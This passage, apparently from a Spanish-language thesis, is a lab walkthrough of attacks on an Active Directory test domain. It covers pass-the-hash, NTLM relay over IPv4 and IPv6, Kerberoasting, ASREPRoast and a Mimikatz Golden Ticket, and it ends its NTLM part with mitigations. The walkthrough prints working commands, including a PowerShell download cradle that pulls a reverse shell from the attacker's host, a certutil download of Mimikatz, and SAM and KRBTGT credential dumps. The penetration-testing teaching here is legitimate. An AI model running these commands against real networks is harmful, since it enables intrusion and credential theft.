disefio por parte del equipo de Microsoft, es decir, una caracteristica de los sistemas
operativos Windows. De hecho, incluso en la actualidad, esta técnica es muy utilizada para
realizar movimientos laterales que tienen un gran impacto en auditorias técnicas de

pentesting de entornos Active Directory.

Una pregunta perfectamente valida que podriamos llegar a formular es: écdmo funciona esta

técnica de Pass-The-Hash? El proceso genérico de esta técnica es:

1. Un atacante obtiene un hash NTLMv2, del cual extrae el hash NT, de la maquina
victima, mediante un volcado de las bases de datos NTDS.dit o SAM, tal y como se ha
realizado anteriormente en la Figura 33. No obstante, existen numerosos ataques y

técnicas para capturar un hash NTLMv2.

2. Dicho atacante, utilizando alguna herramienta, inyecta dicho hash NT en el proceso
LSASS, el cual se encarga de administrar las contrasefias y crear los tokens de acceso,
entre otras tareas. Una vez se ha inyectado, se crea una nueva sesion y se sobrescribe

el hash de la sesién con el hash inyectado por el atacante.

3. El atacante puede autenticarse, de ahora en adelante, sin conocer la contrasefia,

solamente sabiendo el hash NT.
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Una vez se conoce como funciona esta técnica, mediante la herramienta CrackMapExec vamos
a ponerla en practica, utilizando el hash NT del usuario “Administrador”, con el siguiente
comando, donde el parametro -H significa que la credencial de acceso no es una contrasena

en texto plano, sino un hash NT:

crackmapexec smb 192.168.200.0/24 -u “Administrador” -H <HASH NT>

Figura 34. Pass-The-Hash con CrackMapExec

En la Figura 34 podemos observar como en todos los equipos del dominio la herramienta
CrackMapExec nos reporta un mensaje de Pwned!, por lo que con el hash NT del usuario

“Administrador” podriamos comprometer todos los equipos.

Un ataque muy comun que utiliza la técnica de Pass-The-Hash es obtener acceso a una
maquina obteniendo una consola de comandos. Para ello, vamos a utilizar las herramientas
evil-winrm [44], que nos ofrece una consola de comandos en PowerShell, y psexec.py, una
herramienta del catdlogo de herramientas de Impacket [45], que nos ofrece ejecuciéon remota
de comandos. Aunque también existen multitud de herramientas como wmiexec.py, entre

otras.

Los comandos que vamos a ejecutar para realizar Pass-The-Hash con estas herramientas son:

evil-winrm -1 192.168.200.129 -u “Administrador” -H <HASH NT>

pyhton3 psexec.py -hashes <LM HASH:NT HASH>
Administrador@192.168.200.129 cmd.exe
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python3-impacket/examples
-u " tr -H

/python3-impacket/examples
b4 1404eea 1404

Figura 36. Pass-The-Hash con psexec.py
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Como se puede observar en la Figura 35 y en la Figura 36, se ha logrado obtener acceso al
controlador de dominio como el usuario administrador del dominio de Active Directory. De
forma que un atacante podria llegar a obtener una consola de comandos, tanto en PowerShell

como una consola estandar.

= Ataque NTLM Relay utilizando Responder.py e Impacket

En esta ocasién vamos a realizar un ataque NTLM Relay utilizando las herramientas
Responder.py [46] y una de las herramientas de las que dispone el catalogo de Impacket, como

es ntimrelayx.py.

Responder.py se trata de una herramienta desarrollada por el experto en ciberseguridad
Laurent Gaffié, quien formo parte del equipo de SpiderLabs de la organizacién Trustwave. Esta
herramienta ha ido ganando fama dentro del pentesting en entornos Active Directory debido
a las numerosas funcionalidades que ofrece, actualmente tiene la capacidad de crear
servidores de autenticacion maliciosos que responden a los protocolos SMB, MSSQL, HTTP,
HTTPS, LDAP o FTP, entre muchos otros. Su funcionalidad principal, por lo tanto, es envenenar
el Link Local Multicast Name Resolution (LLMNR) y el NetBIOS over TCP/IP Name Service (NBT-
NS).

Por otro lado, Impacket se trata de un catalogo de herramientas desarrolladas en Python por
la organizacion SecureAuth, dedicada a la ciberseguridad. En concreto su herramienta
ntimrelayx.py es una extensién que mejora las capacidades de la herramienta smbrealyx.py,
la cual se desarrollé para realizar ataques SMB Relay con el objetivo de ejecutar una reverse

shell en la victima.

El principal vector de ataque que se vamos a utilizar con estas herramientas es capturar todas
aquellas peticiones de recursos a nivel de domino que no existan, o no estén disponibles, bien
solicitados por procesos automatizados, o bien solicitados por usuarios del dominio. Cuando
un cliente realiza una peticién de un recurso que no existe, o no estd disponible a nivel de
dominio, seguidamente realiza una peticién de ese mismo recurso a nivel de red local, es
entonces cuando el atacante responde a la peticion del cliente alegando que conoce el

recurso, pero debe realizar una autenticacién NTLM.
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El atacante captura dicha autenticacién y la reenvia a la victima para poder autenticarse y
realizar acciones maliciosas. En la Figura 37, es posible observar una representacion visual de

lo que se acaba de explicar.

Controlador de dominio de Active Directory

Cliente de Active Directory

Pregunta por un recurso del directorio activo
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El recurso no existe o no esta disponible
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Figura 37. Diagrama del vector de ataque de la herramienta Responder.py

Por lo tanto, en la siguiente prueba realizaremos un ataque NTLM Relay del cual obtendremos
las credenciales de un usuario, estas credenciales las vamos a redirigir hacia la victima para
realizar una ejecuciéon remota de comandos y enviar una reverse shell de PowerShell hacia mi

maquina de atacante.

Primero tendremos que modificar el archivo de configuracién de la herramienta Responder.py

indicando que no intercepte las peticiones dirigidas hacia los protocolos SMB y HTTP:
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En /usr/share/responder/Responder.conf

[Responder Core]

; Servers to start

SQL = On

SMB = Off
Kerberos = On
FTP = On

POP = On

SMTP = On
IMAP = On
HTTP = Off

HTTPS = On

DNS = On

LDAP = On

Después, utilizaremos la herramienta Responder.py de la siguiente forma:

pyhton Responder.py -I ethO -rdw

Donde el parametro -/ hace referencia a la interfaz de red que vamos a utilizar. Los parametros
-rdw utilizados de forma conjunta inicia un servidor proxy WPAD, habilita las respuestas de las
peticiones con sufijo NetBIOS y con sufijo NetBIOS del tipo wredit, lo que afectara

considerablemente a la red y, por tanto, debe usarse en entornos controlados.

Seguidamente, vamos a utilizar uno de los payloads, que esta disponible dentro de la coleccién
de Nishang [47], llamado Invoke-PowerShellTcp.ps1. Este payload, se ejecutara en la victima y
enviara una reverse shell hacia nuestra maquina de atacante, no obstante, hay que afiadir la
siguiente linea al final del payload para conseguir, de manera inmediata, que la reverse shell

se envie al ejecutar el payload:
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Invoke-PowerShellTcp -Reverse —-IPAddress 192.168.200.128 -Port 2222

La linea anterior lanzard una conexién TCP hacia nuestra maquina de atacante a través del
puerto 2222. Este payload lo guardaremos dentro de un directorio, donde iniciaremos un

servidor HTTP por medio de Python en el puerto 8085:

python -m SimpleHTTPServer 8085

A continuacidn, tendremos que crear un archivo de texto, denominado targets.txt, donde
anotaremos la direccion IP de la maquina victima, la cual queremos comprometer, en este
caso, queremos comprometer la maquina Windows 10. El archivo targets.txt serd aquel que
le indique a la herramienta ntimrelayx.py hacia donde tiene que redirigir el trafico de los
hashes Net-NTLMv2 capturados para poder realizar una autenticacién por SMB. Por lo tanto,

iniciaremos la herramienta ntimrelayx.py mediante el siguiente comando:

python3 ntlmrelayx.py -tf /root/ActiveDirectory/targets.txt
-smb2support -c “powershell IEX (New-Object
Net.WebClient) .downloadString (‘http://192.168.200.128:8085/

Powershell.psl’)”

Mediante el parametro -tf le indicamos a la herramienta el fichero targets.txt, acto seguido
activamos el soporte para la versidon 2 de SMB mediante -smb2support, y le indicamos el
comando a ejecutar en la mdaquina victima, con el pardmetro -c. Cuando realice la
autenticacion en la maquina victima, descargard el payload, que anteriormente hemos
modificado, del servidor web que hemos lanzado y ejecutara dicho payload otorgandonos una

reverse shell hacia nuestra maquina de atacante.
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[NBT-NS] oned answer sent 92.16 00.13 name DC-AWRSCOMPANY (service: cstation/Redirector)
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Figura 39. Ataque NTLM Relay con Responder.py e Impacket (29 parte)
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En la Figura 38 podemos observar como el usuario “admin.it” que estaba utilizando el equipo
Windows 7 ha realizado una peticién de un recurso a nivel de red que no existia, o que no
estaba disponible en ese momento. Responder.py ha envenenado la red haciendo creer al
equipo Windows 7 que sabia donde estaba el recurso por el que estaba haciendo la peticidn,
por tanto, se ha realizado una autenticacion NTLM, capturando el hash Net-NTLMv2. Este hash
lo ha utilizado la herramienta ntimrelayx.py para realizar una autenticacion a través de SMB e
inyectar el comando que anteriormente le hemos especificado. Ya en la Figura 39 podemos
ver como se ha puesto el puerto 2222 a la escucha mediante NetCat y se ha realizado una
peticién GET hacia el servidor que habiamos lanzado. Automaticamente, el puerto 2222 recibe
la conexién del payload que se ha ejecutado en la maquina Windows 10, obteniendo asi una

reverse shell de PowerShell como administrador.

De forma que, sin necesidad de conocer las credenciales del usuario “admin.it”, hemos
conseguido acceder como administradores (ya que este usuario en concreto es administrador
del dominio) a una maquina perteneciente al dominio de Active Directory, una accién que sin

lugar a duda presenta un altisimo riesgo para cualquier organizacion.

= Ataque NTLM Relay por IPv6 utilizando Impacket y Proxychains

Imaginemos ahora que una organizacidn, siguiendo un manual de buenas practicas en
seguridad informatica, ha mitigado el ataque NTLM Relay, de forma que este ataque no
funcionard de la manera que hasta ahora lo hemos estado haciendo, es decir, por IPv4. Sin
embargo, équé ocurre con IPv6?, iexisten medidas de mitigacidn o se han olvidado de que

IPv6 también existe?

En esta prueba, vamos a desplegar un ataque NTLM Relay por IPv6 envenenando el dominio
de Active Directory (DNS Spoofing) para capturar hashes Net-NTLMv2 de usuarios. Esto lo
combinaremos con Proxychains [48] para crear un tunel y conseguir acceso en la mdaquina

victima.

Gracias a la herramienta mitmé6 [49], desarrollada en Python por una de las divisiones de
ciberseguridad, denominada Fox IT, de la organizacion NCC Group, es posible envenenar el

dominio de Active Directory, ya que por defecto las maquinas Windows solicitan trafico IPv6.
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Mediante el siguiente comando podemos realizar este envenenamiento, ya que sabemos el

nombre de dominio:

mitm6 -d awrscompany.local

Figura 40. DNS Spoofing con mitmé6

Como se muestra en la Figura 40, la herramienta mitm6 ha comenzado con el envenenamiento
del dominio awrscompany.local. El proceso de intercambio de mensajes que realiza la

herramienta con las maquinas Windows es:

e Las maquinas Windows envian mensajes SOLICIT para descubrir servidores DHCPv6
disponibles, la herramienta mitm6 responde al mensaje de las maquinas Windows con
un mensaje ADVERTISE indicando que la maquina atacante es un servidor DHCPv6

disponible.

e Después, las maquinas Windows envian un mensaje REQUEST para obtener la
direccién IPv6 del servidor, seguidamente mitm6 responde con un mensaje REPLY con

la direccion IPv6 del atacante.

Una forma de comprobar que este proceso se ha realizado correctamente es comprobar los
servidores DNS de las maquinas Windows, tal y como se puede observar en la Figura 41, donde
la direccidén IPv6 del atacante se coloca como servidor DNS preferido y como puerta de enlace

predeterminada.
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sufijos DNS

Figura 41. Envenenamiento de los servidores DNS en las mdquinas Windows

Seguidamente, ejecutaremos la herramienta ntimrelayx.py indicandole que el ataque NTLM

Relay sera por IPv6 mediante el comando:

python3 ntlmrelayx.py -6 -wh 192.168.200.128 -t
smb://192.168.200.130 -socks -debug -smb2support

En el comando anterior mediante el parametro -6 le indicamos a la herramienta que el ataque
serd por IPv6, ademads, mediante el pardmetro -wh le indicamos hacia donde queremos que
se redirija el trafico que vaya capturando, este caso hacia nuestro equipo de atacante. El
equipo objetivo serd la maquina Windows 10, donde queremos realizar una autenticacion
mediante SMB, también vamos a crear una conexidn socks, para posteriormente con
proxychains construir un tunel. Por ultimo, con el parametro -debug queremos que nos
muestre todo aquel trafico IPv6 que vaya capturando, y vamos a afiadir soporte para la version

2 de SMB.

Figura 42. Ataque NTLM Relay por IPv6 con Impacket
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Cuando se ejecuta la herramienta ntimrelayx.py, se crea una sesién interactiva donde con el
parametro socks, se es capaz de visualizar el usuario del que se ha capturado su hash Net-
NTLMv2. En la Figura 42, podemos ver que se ha conseguido capturar al usuario “admin.it”, el
cual ha realizado una peticiéon de un recurso que no existia, o que no estaba disponible en ese
momento. Cuando se ha capturado su hash Net-NTLMv2 se ha autenticado en la maquina
victima mediante SMB, ademas, la propia herramienta ntimrelayx.py nos reporta que el

usuario capturado es administrador en la maquina victima.

En ese momento, mediante ProxyChains, el cual se trata de un servidor proxy muy conocido y
utilizado en auditorias técnicas de pentesting para tunelizar conexiones (técnica conocida
como pivoting), vamos a utilizar la herramienta de post-explotacién CrackMapExec para
comprometer la maquina victima sin necesidad de conocer su contrasefia. Primeramente, hay

que modificar el final del fichero de configuracién de ProxyChains:

En /etc/proxychains.conf

[ProxyList]

# add proxy here ..

# meanwhile

# defaults set to “tor”

socks4 127.0.0.1 1080

Con esta configuracién nuestra maquina permanecera en escucha por el puerto 1080, por lo
tanto, como anteriormente hemos capturado una credencial de un usuario administrador de
la mdaquina victima, mediante los siguientes comandos, y sin necesidad de conocer la
contrasefia de dicho usuario, podemos llegar a realizar un volcado de la base de datos local

de credenciales (SAM), entre otras muchas acciones que podemos realizar:

proxychains crackmapexec smb 192.168.200.130 -u “admin.it” -p

“NoMeSeSuPass” -d “awrscompany” 2>/dev/null

proxychains crackmapexec smb 192.168.200.130 -u “admin.it” -p

“NoMeSeSuPass” -d “awrscompany” —--sam 2>/dev/null
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ActiveDirectory

b 1

Figura 43. Volcado de las credenciales de la SAM en la mdquina victima

= Mitigaciones

Como se ha demostrado a lo largo de esta secciéon, NTLM es un protocolo de autenticacién
que cuenta con vulnerabilidades al existir fallos en su disefio. El motivo fundamental por el
gue este protocolo de autenticacidon se sigue utilizando en la actualidad es para seguir
manteniendo la compatibilidad con sistemas antiguos que no permiten otros protocolos de

autenticacion mas modernos y seguros.

También hemos demostrado que los hashes Net-NTLMv2 se pueden romper con relativa
facilidad, y esto se debe a que estos hashes estan formados por un algoritmo que, en la
actualidad, se considera inseguro debido a las colisiones que presentan, como es MD4.
Gracias a la evolucidn de la tecnologia, se ha logrado mejorar la capacidad de cémputo de las
maquinas que existen hoy en dia, y por ello, ha hecho que cada vez sea mas sencillo y rapido
romper los hashes MD4 que utiliza este protocolo. A pesar de que la compafiia Microsoft
conoce las vulnerabilidades presentes en este protocolo, las mitigaciones que ha presentado,
para intentar minimizar el impacto de los ataques, no son demasiado eficaces contra los

ataques Relay.

Por lo tanto, a continuacion, se definiran una serie de pautas a seguir para mitigar los ataques
Relay, aunque cabe destacar que mitigar vulnerabilidades es una tarea compleja que requiere
conocer la tecnologia muy en profundidad y de mucho tiempo y esfuerzo. Cada vez con mas
frecuencia surgen nuevos tipos de ataques que se aprovechan de las vulnerabilidades del

protocolo NTLM:
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Mantener el sistema operativo actualizado en todas mdaquinas que pertenezcan al

dominio de Active Directory.

Configurar unas directivas de grupo (GPO) apropiadas y alineadas con la politica de
seguridad de la organizacién. La presencia de unas directivas de grupo robustas indica
que una organizacion estd comprometida con la seguridad, y tiene claramente
definidos sus objetivos en cuanto a la seguridad de la informacién y seguridad

informatica.

Firmar todas las conexiones que viajen a través del protocolo Samba en todas las
maquinas que pertenezcan al dominio de Active Directory. Esta accidn, a pesar de que
parezca simple, ya a mitigar en su totalidad los ataques SMB Relay y los ataques NTLM
Relay que se aprovechen del protocolo Samba como puede ser un ataque por IPv6, ya
que cuando el atacante trate de realizar una autenticaciéon en una maquina victima
con un hash capturado, la victima le va a denegar la autenticacion al no firmar la

comunicacion.

Es sumamente importante firmar las conexiones de red en todas maquinas que
pertenezcan al domino de Active Directory, y no solo aquellas maquinas consideradas
criticas. Si solo firmamos las conexiones de red en las maquinas consideradas criticas,
un atacante podria atacar una estacién de trabajo, realizar un volcado de la memoria

de la maquina y obtener credenciales que le sirvan para realizar un movimiento lateral.

Hay que destacar que Microsoft aplica la firma de las conexiones de red en mdaquinas

Windows Server por defecto desde Windows Sever 2016.

De la misma manera podemos aplicar la firma a las conexiones que viajes a través del

protocolo LDAP, para evitar ataques NTLM Relay que se aprovechan de este protocolo.

Bloquear las comunicaciones de autenticacidén que se realicen a través del protocolo
NTLMvl. Como se ha comentado antes, NTLMvl estd en desuso por las

vulnerabilidades tan notorias que presentaba.
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Utilizar siempre que sea posible el protocolo de autenticacidon Kerberos y bloquear el
protocolo NTLM. En el caso de que NTLM sea necesario y no se pueda bloquear, hay
que configurar las maquinas para utilizar el nivel de compatibilidad

LMCompatibilityLevel lo mas alto posible.

Aplicar Extended Protection for Authentication (EPA) en las maquinas que pertenecen
al dominio de Active Directory y que estan ofrenciendo servicio web. Esta proteccion
ampliada para la autenticacidn, desarrollada por Microsoft, tiene como objetivo evitar
los ataques Relay implementando un protocolo basado en el RFC 5056, por lo que se

aplica confidencialidad e integridad a la peticion de autenticacion.

Deshabilitar el protocolo IPv6, siempre y cuando no sea necesario dentro del dominio
de Active Directory. Esta accidn evitara que los equipos Windows conectados al
dominio soliciten un servidor DHCPv6, y por lo tanto, serd imposible realizar un
envenenamiento de la red por IPv6 para cambiar la direccién del servidor DNS legitimo

por la direccién del atacante.
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4.3.2. Ataques contra Kerberos

Aunque anteriormente ya hemos comprometido todos los usuarios del dominio de Active
Directory, asi como todas las maquinas de este dominio, incluidos el usuario “Administrador”
y el controlador de dominio, merece la pena indagar en los posibles ataques que un atacante
es capaz de realizar sobre el protocolo de autenticaciéon Kerberos, el cual se explicd con

anterioridad.

Por lo tanto, en este apartado veremos varios ataques con los que podemos comprometer
varios usuarios del dominio crackeando varios tipos de tickets, asi como ganar persistencia

permanente dentro del dominio como usuario administrador.

= Ataque Kerberoasting

Kerberoasting [50] es un ataque de post-explotacidn se utiliza para extraer credenciales de las
cuentas de servicios de Active Directory para posteriormente, realizar un ataque de fuerza
bruta con el objetivo de crackear su contrasefia. Este ataque se centra en los servicios donde
se utiliza una cuenta de usuario del dominio, ya que aquellas cuentas de servicio creadas, de
manera automatica, por los servidores Windows estan asignadas a cuentas de usuarios de
equipos, y, por tanto, si el ataque se centrase sobre estas ultimas, resultaria inviable debido a
la complejidad y el tamafio de las contraseiias de estas cuentas. El disefio de Kerberos permite
a los usuarios autenticados en un dominio solicitar tickets TGS para cualquier servicio de red,

lo que permite que estos tickets sean crackeados de forma offline.

El usuario que vamos a utilizar para realizar el ataque serd “miles.morales”, un usuario del
dominio que no tiene permisos de administrador. Mediante la herramienta GetUserSPNs.py,
la cual se puede encontrar en el catdlogo de herramientas de Impacket, al igual que otras
herramientas que ya hemos utilizado con anterioridad, vamos a realizar este ataque

ejecutando en nuestra maquina de atacante el siguiente comando:

python3 GetUserSPNs.py -request

awrscompany.local/miles.morales:Spiderman\!06
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Mediante el parametro -request le indicamos a la herramienta el nombre del dominio, asi
como las credenciales del usuario comprometido. Como se muestra en la Figura 44, la
herramienta ha reportado un ticket TGS para el servicio, el cual se ejecuta en el puerto 58097,
que tiene la cuenta del dominio “awrs.batchprocess”. Para ello, la herramienta ha realizado

una autenticacién, con las credenciales de usuario que le hemos introducido, y acto seguido

ha solicitado un ticket TGS.

Figura 44. Ataque Kerberoasting con GetUserSPNs.py

Una vez recibido el ticket TGS, mediante la herramienta John The Ripper, vamos a tratar de
romperlo para averiguar su contrasefia en texto plano, de igual forma que hemos realizado
anteriormente en los ataques NTLM Relay. En la Figura 45 podemos observar como la
herramienta John The Ripper ha sido capaz de crackear este ticket y mostrar la contrasefia en

texto plano.

~/ActiveDirectory
st=/usr/ ar ¥ u.txt --format=k

Figura 45. Cracking del ticket TGS con John The Ripper

Si posteriormente, mediante la herramienta CrackMapExec, visualizasemos los privilegios del

usuario “awrs.batchprocess” nos dariamos cuenta que se trata de un usuario que es
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administrador de las maquinas Windows 7 y Windows 10, pero no del controlador del

dominio, como se puede apreciar en la Figura 31.

=  Ataque ASREPRoast

ASREPRoast [51] es un ataque que se centra en usuarios que no requieran de autenticacion
previa en Kerberos, identificable por el atributo DONT_REQ_PREAUTH, lo que significa que
cualquier persona, incluida un atacante, puede enviar una solicitud AS-REQ al KDC haciéndose
pasar por el usuario que no requiera de esa autenticacion previa. El KDC contestaria con un

mensaje AS-REP cifrado con la clave original de usuario, derivada de su contrasena.

Lo mds peligroso de este ataque es que para realizarlo no es necesario proporcionar ninguna
cuenta de usuario del dominio, tan solo tener conectividad con el KDC, no obstante, este
ataque resulta mas efectivo si previamente se ha logrado comprometer alguna cuenta de
usuario del dominio, como en el ataque anterior, ya que mediante consultas podriamos

averiguar los usuarios del dominio, por lo tanto, ese sera el primer paso.

De nuevo, mediante el usuario “miles.morales” vamos a tratar de realizar una consulta para
poder listar todos los usuarios del dominio mediante la herramienta rpcclient [52], a través

del siguiente comando:

rpcclient -U “miles.morales%$Spiderman\!06” -c “enumdomusers” |

grep ‘\[.*?\]’ | grep -v ‘0x’ | tr -d ‘[]’

Mediante el parametro -U hemos proporcionado las credenciales del usuario comprometido,
y mediante el parametro -c le hemos indicado el comando a ejecutar, en este caso, listar los
usuarios del dominio. Ademas, gracias a expresiones regulares hemos filtrado la salida de Ia
herramienta de forma que tan solo se muestre aquello que nos interesa, como son los
nombres de los usuarios del dominio. Estos usuarios los guardaremos en un archivo

denominado users.txt.
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El ataque lo realizaremos gracias a la herramienta GetNPUsers.py, la cual se puede encontrar
en el catalogo de herramientas de Impacket, al igual que la herramienta que hemos utilizado

en el anterior ataque, a través del siguiente comando:

python3 GetNPUsers.py awrscompany.local/ -no-pass -usersfile

/root/ActiveDirectory/users.txt

En el comando anterior hemos especificado a la herramienta que realice varias peticiones AS-
REQ, al dominio especificado, en nombre de los usuarios que contenia el fichero users.txt (-
usersfile). En la Figura 46 se muestra como todos los usuarios del dominio requieren

autenticacion previa de Keberos, excepto el usuario “admin.it”, donde podemos observar el

mensaje AS-REP emitido por el KDC.

Figura 46. Ataque ASREPRoast con GetNPUsers.py

Una vez capturado el mensaje AS-REP, mediante la herramienta John The Ripper, vamos a
tratar de romperlo para averiguar su contrasefa en texto claro, de igual forma que hemos
realizado anteriormente. En la Figura 47 podemos observar como la herramienta John The

Ripper ha sido capaz de crackear el mensaje AS-REP mostrando la contrasefa en texto plano.

/ PBKDF2 HMAC-SHA1 AES

Figura 47. Cracking del mensaje AS-REP con John The Ripper
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Si posteriormente, mediante la herramienta CrackMapExec, visualizdsemos los privilegios del
usuario “admin.it” nos dariamos cuenta de que se trata de un usuario que es administrador

de del dominio, como se puede apreciar en la Figura 32.

= Golden Ticket

Hasta ahora, tan solo hemos estado crackeando tickets TGS o mensajes AS-REP para obtener
la contrasefia en texto claro, pero ¢y si pudiésemos crear un ticket TGT que nos otorgase
acceso completo a todo el dominio (mdaquinas, recursos, etc.)? De esta forma no tendriamos
que crackear ningun ticket o ningun mensaje nunca mds. Este ataque es conocido como

Golden Ticket [53].

Es posible crear un ticket TGT en base a una informacién, del usuario KRBTGT, obtenida
previamente para obtener permisos privilegiados y llegar a controlar todo el dominio, pero
épor qué el usuario KRBTGT? La clave de la cuenta de usuario KRBTGT es primordial para el
KDC, ya que con dicha clave el KDC cifra y descifra el resto de las claves de autenticacion de
Kerberos. Comprometer el hash NTLM de esta cuenta nos permitird, entre otras cosas,
generar este ticket TGT con el que poder controlar todo el dominio. Cabe destacar que el ticket
TGT no va a ser generado por el KDC, sino por el atacante, lo que permitirad inyectarlo en

cualquier otro lugar dentro o fuera del dominio.

Para poder inyectar este ticket TGT, se realiza una técnica denominada Pass-The -Ticket [54],
una técnica muy similar a la técnica que hemos utilizado anteriormente en los ataques contra
NTLM, denominada Pass-The-Hash. Consiste en inyectar un ticket, ya sea un ticket TGT o un
ticket TGS, para intentar tener acceso desde otra mdaquina; esta maquina puede pertenecer al
dominio o no pertenecer a él. En este caso se pretende inyectar un ticket TGT, saltando los
tres primeros pasos del proceso de autenticacién en Kerberos, tal y como se puede observar

en la Figura 48.

La herramienta con la que se va a generar el ataque es Mimikatz [55], esta famosa
herramienta de cédigo abierto, desarrollada por el experto francés en ciberseguridad

Benjamin Delpy, permite realizar varios ataques contra Kerberos, asi como extraer gran
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cantidad de informacion de una mdaquina Windows, ya que en un principio esta herramienta

fue creada para detectar vulnerabilidades en los sistemas Windows.

Cuando utilizamos Mimikatz, el tiempo de validez del ticket TGT generado es de diez afios,
ademas, va a cambiar la informacién contenida en el PAC para que vaya firmada con el hash

de la cuenta KRBTGT, lo que permitira la autenticacion en el servidor final.

Ticket TGT (Golden Ticket)

Controlador de dominio

KDC = AS + TGS
Atacante

KDC = Key Distribution Center (Centro de
Distribucién de Claves)

AS = Authentication Server (Servidor de
autenticacion)

TGS = Ticket Granting Server (Servidor de
concesion de tickets)

Servidor de Servicio (S5)

PN
e
\\

Solicitud de un servicio + TGS

Figura 48. Diagrama de la técnica Pass-The-Ticket con un ticket TGT

Por medio del usuario que hemos comprometido en el anterior ataque, como es “admin.it”,
vamos a ejecutar un reverse shell por medio de la herramienta psexec.py, a través del
siguiente comando, donde proporcionamos las credenciales de dicho usuario y el comando a

ejecutar, en esta ocasién, una consola de comandos:

python3 psexec.py
awrscompany.local/admin.it:P@sswordl23@192.168.200.129 cmd.exe

Una vez dentro del controlador de dominio, vamos a dirigirnos hacia el directorio de archivos

temporales de Windows (C:\\Windows\Temp) y posteriormente crearemos un directorio
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llamado “AD”. Seguidamente, vamos a levantar un servidor web en escucha por el puerto
8085 en nuestra maquina de atacante, mediante Python, que alojard la herramienta Mimikatz,
para que desde el controlador de dominio seamos capaces de descargar dicha herramienta.

El comando que ejecutariamos desde el controlador de dominio seria:

certutil.exe -f -urlcache -split

http://192.168.200.128:8085/mimikatz.exe mimikatz.exe

Con la utilidad de Windows, CertUtil, para administrar certificados, hemos descargado la
herramienta Mimikatz, pero épor qué CertUtil? [56] Esto es debido a que algunos equipos
pueden presentar restricciones a la hora de descargar archivos, sobre todo en entornos
empresariales, por lo que, si utilizamos esta utilidad integrada en Windows, existe la

posibilidad de que se incluya en una lista blanca y permita descargar archivos.

/share/doc/python3-impacket/examples

Figura 49. Descarga de la herramienta Mimikatz en el controlador de dominio
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Después, y tras ejecutar la herramienta Mimikatz, vamos a visualizar todos los datos
necesarios del usuario KRBTGT para, posteriormente, poder crear tickets TGT que nos permita

controlar todo el dominio. Para ello, desde Mimikatz ejecutamos el siguiente comando:

lsadump::1sa /inject /user:krbtgt

Con el comando anterior, somos capaces de conseguir el hash NTLM de la cuenta KRBTGT y el
SID del dominio, sin duda informacién que resulta fundamental en la creacién de tickets TGT.

Esta informacién se muestra en la Figura 50 y en la Figura 51.

) #19041

=

Figura 50. Ejecucion de Mimikazt.exe (19 parte)
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Figura 51. Ejecucion de Mimikazt.exe (29 parte)

Con esta informacién obtenida, ya tenemos todo lo necesario para la creacidn de un ticket

TGT. Para ello, debemos especificar en Mimikatz los siguientes parametros:

e /domain: Nombre del dominio donde sera valido el ticket TGT.

e /sid: EI SID (identificador) del dominio donde sera vélido el ticket TGT.

e /rc4: Hash NTLM del usuario KRBTGT.

e /Juser: Usuario al que se pretende suplantar.

e /fticket: Nombre que se le quiera dar al ticket TGT.

Existen otros parametros que también podemos especificar como /groups o /id, no obstante,
los parametros detallados serian suficiente para la creacién del ticket. Se ejecuta, por tanto,

el comando para la creacidn del ticket:
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kerberos::golden /domain:awrscompany.local
/sid: S-1-5-21-42685679-1135432727-702863101

/rcd: 8280948b937d164b870def34a08db349 /user:Administrador
/ticket:goldenTicket.kerberos

Figura 52. Creacion del ticket TGT de Administrador con Mimikatz

En la Figura 52 podemos observar la informacion de este ticket TGT del usuario
“Administrador”, como, por ejemplo, el tiempo de validez del ticket, o los grupos a los
pertenece, y que, por tanto, establecen los privilegios que se le van a otorgar a cualquiera que

inyecte el ticket. Estos grupos son:

513: Grupo “Usuarios del dominio”, es el grupo por defecto para todos los usuarios del

dominio.

e 512: Grupo “Administradores del dominio”, es el grupo al que pertenecen todos los

usuarios que son administradores del dominio.

e 520: Grupo “Propietarios del creador de directivas de grupo”, es el grupo que permite

a sus miembros poder modificar las directivas de grupo.
e 518: Grupo “Administradores de empresa”, es el grupo que permite a sus miembros
realizar cambios en el bosque de Active Directory.

e 519: Grupo “Administradores de esquema”, es el grupo que permite a sus miembros

modificar el esquema de Active Directory.
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El ticket TGT creado lo transferimos a nuestra maquina de atacante mediante SMB. Ahora,
desde la maquina Windows 10, con un usuario que es administrador de dicha maquina, pero
gue no tiene permisos de administrador de dominio, como “leyre.garcia”, se va a inyectar el
ticket. Para demostrar el enorme potencial de este ataque, con este usuario se va a listar el
contenido del directorio C:\\ y C:\\Users\Administrador del controlador de dominio, puesto
que el primer directorio solo es accesible a los administradores del dominio, y el segundo

directorio solo es accesible al usuario “Administrador”.

Desde nuestra maquina de atacante, con la herramienta CrackMapExec, vamos a habilitar el
protocolo RDP (Remote Desktop Protocol) de la maquina Windows 10, para asi poder acceder

a su entorno de forma grafica. Para ello, el comando es:

crackmapexec smb 192.168.200.130 -u ‘leyre.garcia’ -p ‘##!NQ3wmf##’

-M rdp -o action=enable

Mediante el parametro -M, le indicamos a la herramienta el protocolo, y con el pardmetro -o
le indicamos la accidon que queremos ejecutar sobre dicho protocolo, en este caso, habilitarlo.
Posteriormente, iniciamos un servidor web, con Pyhton, que este alojando Mimikatz y el ticket
TGT, después, gracias a la herramienta XFreeRDP [57] vamos a entablar una conexidn por
medio de RDP desde nuestra maquina de atacante hacia la maquina Windows 10, indicando

las credenciales del usuario comprometido:

xfreerdp /u:leyre.garcia /p: ##\!NQ@3wmf## /v:192.168.200.130 /f

Mediante los parametros /u, /py /v, le indicamos a la herramienta las credenciales de usuario
y la direccién IP de la maquina donde nos queremos conectar, ademas, el parametro /f indica
gue queremos la sesidn en pantalla completa. Cuando iniciemos una conexidén por primera
vez, la herramienta, nos preguntara sobre la confianza del certificado de la maquina Windows

10.
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Figura 53. Habilitacion y conexion por medio de RDP

Una vez dentro de la maquina Windows 10, vamos a descargar Mimikatz y el ticket TGT de
nuestra maquina de atacante. Posteriormente, mediante una consola de comandos,
comprobamos que no tenemos permisos de acceso para listar los recursos del controlador de
dominio, por lo que, mediante Mimikatz, vamos a realizar un Pass-The-Ticket para inyectar el

ticket TGT creado anteriormente en la maquina Windows mediante el siguiente comando:

kerberos::ptt goldenTicket.kerberos

Ahora, cuando intentamos listar los recursos del controlador de dominio, podemos observar
en la Figura 54 y en la Figura 55 como tenemos acceso a los recursos restringidos a usuarios
gue no son administradores del dominio, ya que entre los tickets que estan ejecutandose en
la maquina, se encuentra el ticket TGT que hemos creado anteriormente y que suplanta al

usuario “Administrador”.
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Figura 55. Pass-The-Ticket con Mimikatz (29 parte)
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Ahora, aunque el usuario “Administrador” cambie su contrasefia, gracias a la inyeccion de este
ticket, podremos listar los recursos del controlador de domino durante diez afios, es decir,
